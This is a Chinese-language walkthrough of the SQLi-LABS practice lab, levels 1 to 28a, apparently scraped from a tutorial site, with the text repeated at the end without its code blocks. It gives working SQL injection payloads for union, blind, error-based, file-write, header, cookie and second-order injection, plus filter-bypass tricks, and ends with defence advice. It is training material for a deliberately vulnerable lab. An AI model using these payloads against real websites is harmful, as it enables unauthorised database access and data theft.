SQLi-LABS-Challenges 0~28a解析
字数 2380 2025-08-12 11:34:41

SQL注入实战:SQLi-LABS Challenges 0~28a 详细解析

1. 基础错误型注入 (Less-1 ~ Less-4)

1.1 Less-1: GET-Error based - Single quotes - String

特点

  • 基于错误的单引号字符串注入
  • 输出3列数据

关键步骤

  1. 确定列数:1' order by 4--+ 报错,1' order by 3--+ 不报错 → 3列
  2. 注释符绕过:#被过滤,使用%23--+
  3. 成功payload:
    1' union select 1,database(),user()%23
    1' and 1=2 union select user(),1,database()--+
    
  4. 数据库枚举:
    1' and 1=2 union select 1,schema_name,default_character_set_name from information_schema.schemata limit 1,2--+
    

1.2 Less-2: GET-Error based - Intiger quotes

区别

  • 参数作为整型而非字符串
  • 不需要单引号闭合

payload

1 union select 1,database(),user()%23

1.3 Less-3: GET-Error based - Single quotes whit twist - String

区别

  • 闭合方式变为 ')

payload

1') union select 1,database(),user()%23

1.4 Less-4: GET-Error based - Double Quotes - String

区别

  • 闭合方式变为 ")

payload

1") union select 1,database(),user()%23

2. 盲注技术 (Less-5 ~ Less-10)

2.1 Less-5: Double Query- Single Quotes- String

特点

  • 基于时间的盲注
  • 统一返回"You are in......"

关键步骤

  1. 确认注入:
    1' union select 1,sleep(5),3#
    
  2. 时间盲注payload:
    1' and 1=2 union select if(substring(database(),1,1) = 's',sleep(60),1)#
    

2.2 Less-6: Double Query- Double Quotes- String

区别

  • 闭合方式变为双引号 "

payload

1" union select 1,sleep(5),3%23

2.3 Less-7: Dump into Outfile

特点

  • 文件写入注入

前提条件

  1. 数据库有写入权限
  2. 目录有写入权限
  3. secure_file_priv为空或指定目录

payload

1')) and 1=2 union select database(),2,user() into outfile "/var/www/sqlilabs/Less-7/4.txt"%23

2.4 Less-8 ~ Less-10: 盲注变种

共同点

  • 技术同Less-5
  • 区别仅在于闭合方式:
    • Less-8: ' 布尔盲注
    • Less-9: ' 时间盲注
    • Less-10: " 时间盲注

payload示例

id=1' and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23

3. POST型注入 (Less-11 ~ Less-16)

3.1 Less-11: Error Based- String

特点

  • POST请求
  • 多种注入方法

payload

  1. 基本联合查询:
    admin' and 1=2 union select user(),database()#
    
  2. XPath报错:
    admin' and 1=2 union select extractvalue("haha",concat("~",(select database()))),2#
    
  3. 主键重复报错:
    admin' and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a#
    

3.2 Less-12 ~ Less-14: 闭合方式变种

区别

  • Less-12: ")
  • Less-13: ')
  • Less-14: "

payload示例(Less-12)

admin") and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#

3.3 Less-15 ~ Less-16: POST盲注

特点

  • Less-15: 布尔盲注
  • Less-16: 时间盲注,闭合方式为 ")

payload示例(Less-15)

admin' and 1=2 union select if(length(database())>2,sleep(5),1),1#

4. 高级注入技术 (Less-17 ~ Less-28a)

4.1 Less-17: Update Query- Error based - String

特点

  • 注入点在password字段
  • UPDATE语句

payload

User Name: admin
New Password: 123' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a)#

4.2 Less-18: Header Injection- Error Based- string

特点

  • 注入点在User-Agent头
  • INSERT语句

payload

  1. 方法一:
    ' and extractvalue(1,concat("~",database())) and '1'='1
    
  2. 方法二:
    ',1,extractvalue(1,concat("~",database())))#
    

4.3 Less-19: Header Injection- Referer- Error Based- string

区别

  • 注入点在Referer头

payload

http://172.16.12.149:81/Less-19/' and extractvalue(1,concat("~",user())) and '1'='1

4.4 Less-20 ~ Less-21: Cookie Injection

特点

  • Less-20: 注入点在cookie
  • Less-21: 闭合方式为 '),且cookie值base64编码

payload示例(Less-21)

admin') and 1=2 union select user(),database(),version()#

Base64编码后:

YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksZGF0YWJhc2UoKSx2ZXJzaW9uKCkj

4.5 Less-23: 过滤注释符

绕过方法

  • and '1 闭合最后的单引号

payload

?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)' and '1

4.6 Less-24: 二次注入

攻击步骤

  1. 创建用户:admin'#,密码123
  2. 登录后修改密码为root → 实际修改的是admin的密码

4.7 Less-25: 过滤or/and

绕过方法

  • 双写关键字:aandnd, oorr
  • URL编码注释符

payload

id=1' aandnd 1=2 union select user(),database(),3%23

4.8 Less-26: 过滤空格和注释符

绕过方法

  • 使用逻辑运算符 ||&&
  • 使用替代空格的字符:%09, %0a, %0c, %0b, %a0

payload

id=-1'||(updatexml(1,concat("~",user()),0))||'1

4.9 Less-27: 过滤select/union

绕过方法

  1. 多重写:selselselectectect
  2. 大小写:SeLEct

payload

id=-1'||(updatexml(1,concat("~",user()),0))||'1

4.10 Less-28: 严格过滤select/union

特点

  • 单独select或union不过滤,但二者一起出现就过滤
  • 过滤*,影响floor报错注入

payload

id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3;%00

5. 总结与防御建议

5.1 常见注入技术总结

  1. 错误型注入:利用数据库错误信息获取数据
  2. 联合查询注入:通过union获取数据
  3. 盲注技术:布尔盲注、时间盲注
  4. 报错注入:利用数据库函数故意制造错误
  5. 堆叠查询:执行多条SQL语句
  6. 二次注入:存储后再触发
  7. 头部注入:HTTP头部字段注入

5.2 防御建议

  1. 使用参数化查询/预处理语句
  2. 严格过滤输入,使用白名单机制
  3. 最小权限原则,限制数据库账户权限
  4. 关闭错误回显
  5. 使用WAF防护
  6. 定期更新和修补系统
SQL注入实战:SQLi-LABS Challenges 0~28a 详细解析 1. 基础错误型注入 (Less-1 ~ Less-4) 1.1 Less-1: GET-Error based - Single quotes - String 特点 : 基于错误的单引号字符串注入 输出3列数据 关键步骤 : 确定列数: 1' order by 4--+ 报错, 1' order by 3--+ 不报错 → 3列 注释符绕过: # 被过滤,使用 %23 或 --+ 成功payload: 数据库枚举: 1.2 Less-2: GET-Error based - Intiger quotes 区别 : 参数作为整型而非字符串 不需要单引号闭合 payload : 1.3 Less-3: GET-Error based - Single quotes whit twist - String 区别 : 闭合方式变为 ') payload : 1.4 Less-4: GET-Error based - Double Quotes - String 区别 : 闭合方式变为 ") payload : 2. 盲注技术 (Less-5 ~ Less-10) 2.1 Less-5: Double Query- Single Quotes- String 特点 : 基于时间的盲注 统一返回"You are in......" 关键步骤 : 确认注入: 时间盲注payload: 2.2 Less-6: Double Query- Double Quotes- String 区别 : 闭合方式变为双引号 " payload : 2.3 Less-7: Dump into Outfile 特点 : 文件写入注入 前提条件 : 数据库有写入权限 目录有写入权限 secure_file_priv 为空或指定目录 payload : 2.4 Less-8 ~ Less-10: 盲注变种 共同点 : 技术同Less-5 区别仅在于闭合方式: Less-8: ' 布尔盲注 Less-9: ' 时间盲注 Less-10: " 时间盲注 payload示例 : 3. POST型注入 (Less-11 ~ Less-16) 3.1 Less-11: Error Based- String 特点 : POST请求 多种注入方法 payload : 基本联合查询: XPath报错: 主键重复报错: 3.2 Less-12 ~ Less-14: 闭合方式变种 区别 : Less-12: ") Less-13: ') Less-14: " payload示例(Less-12) : 3.3 Less-15 ~ Less-16: POST盲注 特点 : Less-15: 布尔盲注 Less-16: 时间盲注,闭合方式为 ") payload示例(Less-15) : 4. 高级注入技术 (Less-17 ~ Less-28a) 4.1 Less-17: Update Query- Error based - String 特点 : 注入点在password字段 UPDATE语句 payload : 4.2 Less-18: Header Injection- Error Based- string 特点 : 注入点在User-Agent头 INSERT语句 payload : 方法一: 方法二: 4.3 Less-19: Header Injection- Referer- Error Based- string 区别 : 注入点在Referer头 payload : 4.4 Less-20 ~ Less-21: Cookie Injection 特点 : Less-20: 注入点在cookie Less-21: 闭合方式为 ') ,且cookie值base64编码 payload示例(Less-21) : Base64编码后: 4.5 Less-23: 过滤注释符 绕过方法 : 用 and '1 闭合最后的单引号 payload : 4.6 Less-24: 二次注入 攻击步骤 : 创建用户: admin'# ,密码123 登录后修改密码为root → 实际修改的是admin的密码 4.7 Less-25: 过滤or/and 绕过方法 : 双写关键字: aandnd , oorr URL编码注释符 payload : 4.8 Less-26: 过滤空格和注释符 绕过方法 : 使用逻辑运算符 || 和 && 使用替代空格的字符: %09 , %0a , %0c , %0b , %a0 payload : 4.9 Less-27: 过滤select/union 绕过方法 : 多重写: selselselectectect 大小写: SeLEct payload : 4.10 Less-28: 严格过滤select/union 特点 : 单独select或union不过滤,但二者一起出现就过滤 过滤 * ,影响floor报错注入 payload : 5. 总结与防御建议 5.1 常见注入技术总结 错误型注入:利用数据库错误信息获取数据 联合查询注入:通过union获取数据 盲注技术:布尔盲注、时间盲注 报错注入:利用数据库函数故意制造错误 堆叠查询:执行多条SQL语句 二次注入:存储后再触发 头部注入:HTTP头部字段注入 5.2 防御建议 使用参数化查询/预处理语句 严格过滤输入,使用白名单机制 最小权限原则,限制数据库账户权限 关闭错误回显 使用WAF防护 定期更新和修补系统